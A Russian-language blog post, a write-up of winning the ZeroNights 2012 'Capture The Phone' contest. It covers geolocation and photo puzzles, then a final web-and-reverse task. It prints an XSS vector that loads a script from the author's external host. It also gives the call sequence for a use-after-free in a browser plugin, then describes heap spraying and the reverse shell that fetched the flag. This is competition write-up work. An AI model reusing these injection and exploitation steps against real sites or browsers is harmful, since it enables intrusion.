Дмитрий DarkByte Москин

Мой блог, да.
logo

ZeroNights - Capture The Phone

Опубликовано 22.11.2012 автором Дмитрий Москин
Одним из конкурсов на прошедшем ZeroNights 2012 был конкурс от компании Nokia под названием Capture The Phone. Главным призом конкурса значился телефон Nokia Lumia 920 (за второе место Lumia 820), который по описанию мне очень понравился, даже не смотря на то, что рекламные ролики, показывающие качество фото и видео оказались фейками.

Описание конкурса:
Прими участие в преследовании шпиона. Ваша задача помочь «выследить» цель и получить ключевую информацию с лэптопа шпиона первым. Но прежде чем добраться до него, придется решить задачи не только связанные с ИБ. Конкурс для тех, кто может проявить смекалку и находчивость, ну и конечно придется проявить навыки эксплуатации WEB приложений, а так же навыки reverse engineering и exploit development. Конкурс пройдет в режиме "гонки", и первые два финалиста получат ценные призы от спонсора конкурса. Событие начнется с первой минуты конференции и продолжится до победного конца. 

Правила:
Найди правила


И действительно, попав на конференцию, сразу же видим первый хинт.



Заходим по ссылке из QR-кода, которая ведёт на страницу сдачи флагов, вводим своё мыло и капчу, отправляем первый флаг. Практически сразу на почту приходит письмо с информацией о следующем таске. Весь текст приводить не буду, только основную часть:
Наш агент успел переслать фотографию с места контакта. Затем наш агент исчез. Зная способности нашего оперативника, можно с уверенностью сказать, что он оставил на месте следы, коды или что-нибудь эдакое, хакерское. Но мы не можем определить, что это за место... поэтому я высылаю фотографию Вам (http://catch.zeronights.org/secretFolder0_0aff01a9100f/). 
Вы должны найти это место, а так же следы присутствия нашего агента.


Переходим по ссылке и видим единственный файл photoX.jpg.



Сразу же заглядываем в EXIF и понимаем, что мы на правильном пути:
Model: Nokia 3310
Software: Windows Phone 7.5
...
Latitude: 55.740000
Longitude: 37.604167

Видим, что обнаруженные координаты находятся не так далеко от места проведения конференции, и в ближайший перерыв направляемся туда. Прибыв на место, видим место, похоже на то, что мы уже видели на картинке.


Порыскав немного на местности, находим следующий флаг:


Отправив флаг, получаем следующее задание:
Этот номер невозможно перебрать методом грубой силы, поэтому нам и понадобилась ваша помощь. Собственно, добавочный номер был нанесен в виде граффити напротив места тусовки всех хакеров Берлина - “C-BASE”. К сожалению, связной пропал, а ночная фотография (http://catch.zeronights.org/secretFolder1_09a5e10cc13/photo2.png) этого граффити не помогла точно рассмотреть текст. Итак, все что мы имеем - только неудачное фото граффити с закодированным добавочным номером телефона и название хакерского места. Вы должны попытаться получить этот номер и показать нам, что вы его определили верно, через нашу форму приема флагов. Достаньте нам этот номер.

Сначала я подумал, что организаторы опять предлагают оторвать свою задницу от стула и пойти прогуляться. Тем более, что набережная находится не так далеко от конференции. К сожалению, обнаруженное там здание не очень подходило под снятую фотографию, да и никакого граффити мы там не нашли.


Вернувшись обратно, я прочитал ещё раз задание и заметил упущенный в первый раз момент, а именно "C-BASE, берлин". Нашёл это место на картах Google, посмотрел фотографии и понял, что истина где то рядом. Обнаруженная станция электрички очень сильно напоминала фотографию из задания, но режим Street View не позволял увидеть место, отмеченное красным кружком на фото, так же, как и фотографии пользователей из той местности. Лишь на одной фотографии нам удалось обнаружить нужное место, где удалось рассмотреть первую часть граффити, а по ней найти фотографию этого места с лучшим качеством.


А дальше начался долгий и нудный процесс брута ответа... У нас было две группы по 4 символа: SAZO SKOO. Правильный ответ был md5(7296), но чёрт меня дёрнул воспринять первый символ как 5 и полетели долгие часы перебора всевозможных вариантов ответа. Затем появился хинт в твиттере, который я так же понял не правильно и, узнав через него номер телефона той организации, начал перебирать варианты, типа номер+добавочный, разделяя их различными символами, дописывая в начале плюс, код страны... Но в какой то момент я таки начал сначала и написал ответ верно, хотя сам этого и не заметил, а ввиду медленного и не стабильного интернета, письмо со следующим заданием получил не сразу.

Новое письмо принесло надежду и в то же время разочарование. Плюс был в том, что это последний таск, а минус в том, что это задание на реверс, которым я обычно не занимаюсь.
Мы дозвонились по полученному номеру  и вышли на скрытую систему коммуникации агентов через сеть “Кругль”. Получить тунеллированый доступ к системе можно здесь:
http://cia.zeronights.org

Собственно, это что-то типа доски объявлений для агентов, только вот согласно их процедуре, все агенты должны иметь специальный плагин для работы с порталом. Мы нашли к нему путь:
http://cia.zeronights.org/bin/


Кроме того, удалось обнаружить небольшой хинт в виде исходника, который лежал в папке sources на том же сервере.

Сразу же я обнаружил, что на сайте не фильтруется поле Name и в него вполне можно засунуть XSS, но поле ограничено 64 символами и то, что я хотел в него записать - не влезало. Выход был найден через поле ввода текста, которое было многострочным и без обозримого ограничения длинны. Вектор получился таким:
';setTimeout(function(){eval(unescape(message))},100);'

var a=document.createElement('script');
a.setAttribute('src','http://snf.darkbyte.ru/');
document.body.appendChild(a);
msg.innerHTML='';

Сразу же после отправки нового сообщения, страницу с ним посещает бот (а следом и другие участники). Сначала я не понял, зачем нужен был плагин и попытался угнать у бота куки. Но их не оказалось. А затем начался долгий процесс поиска уязвимостей в плагине, а так же способов их эксплуатации. Так закончился первый день конференции. К середине второго дня удалось написать полурабочий сплоит. Со стороны обращений к плагину, эксплуатация уязвимости выглядела следующим образом:
			ciaPlugin.InitCode(31337);
ciaPlugin.Reset();
ciaPlugin.InitMessage("1111" + addr + "000");
ciaPlugin.CheckMessage();

Процедура InitCode выделяла память для переменной code, процедура Reset освобождала эту память, процедура InitMessage записывала в переменную msg адрес для перехода, а функция CheckMessage, из-за некорректно написанной функции Reset, обращалась к переменной code, хотя память под неё уже была освобождена и на её место была записана переменная msg. Оставалось только сгенерировать сплоит, распылить его в памяти и угодать адрес.

К сожалению, мне так и не удалось запустить плагин у себя на ноутбуке в IE, поэтому пришлось тестировать в браузере Opera (в Chrome как то не всегда получалось) и когда, наконец-то, сплоит shell_reverse_tcp установил коннект из оперы к тестовой машине, я сразу же побежал постить его на сайт, надеясь на то, что в IE он тоже будет работать. Но первая попытка оказалась неудачной. Хотя стоило всего лишь увеличить количество памяти, которое забивалось кодом шёлла в 10 раз и я увидел в консоли:
Microsoft Windows [Version 6.1.7601]
(c) --?--- -------- (Microsoft Corp.), 2009. -- -?- ---?-.

C:\Users\veider\Desktop>

К сожалению, с кодировкой были какие то проблемы, но в тот момент это волновало меня меньше всего :)

Флаг находится в файле C:\flag\flag.txt, забираем его и бегом отправлять на сайт. В ответ получаем письмо:
Поздравляю! Вы прошли путь и достигли цели. 

--------------------------------------------------------
Вы пришли к финишу под номером: 1.
--------------------------------------------------------


Так я выиграл телефон Nokia Lumia 920, который очень хотел получить. По крайней мере хотел ровно до тех пор, пока не получил и не включил... Но это уже отдельная тема и обзор данного телефона я рассмотрю в рамках отдельного поста.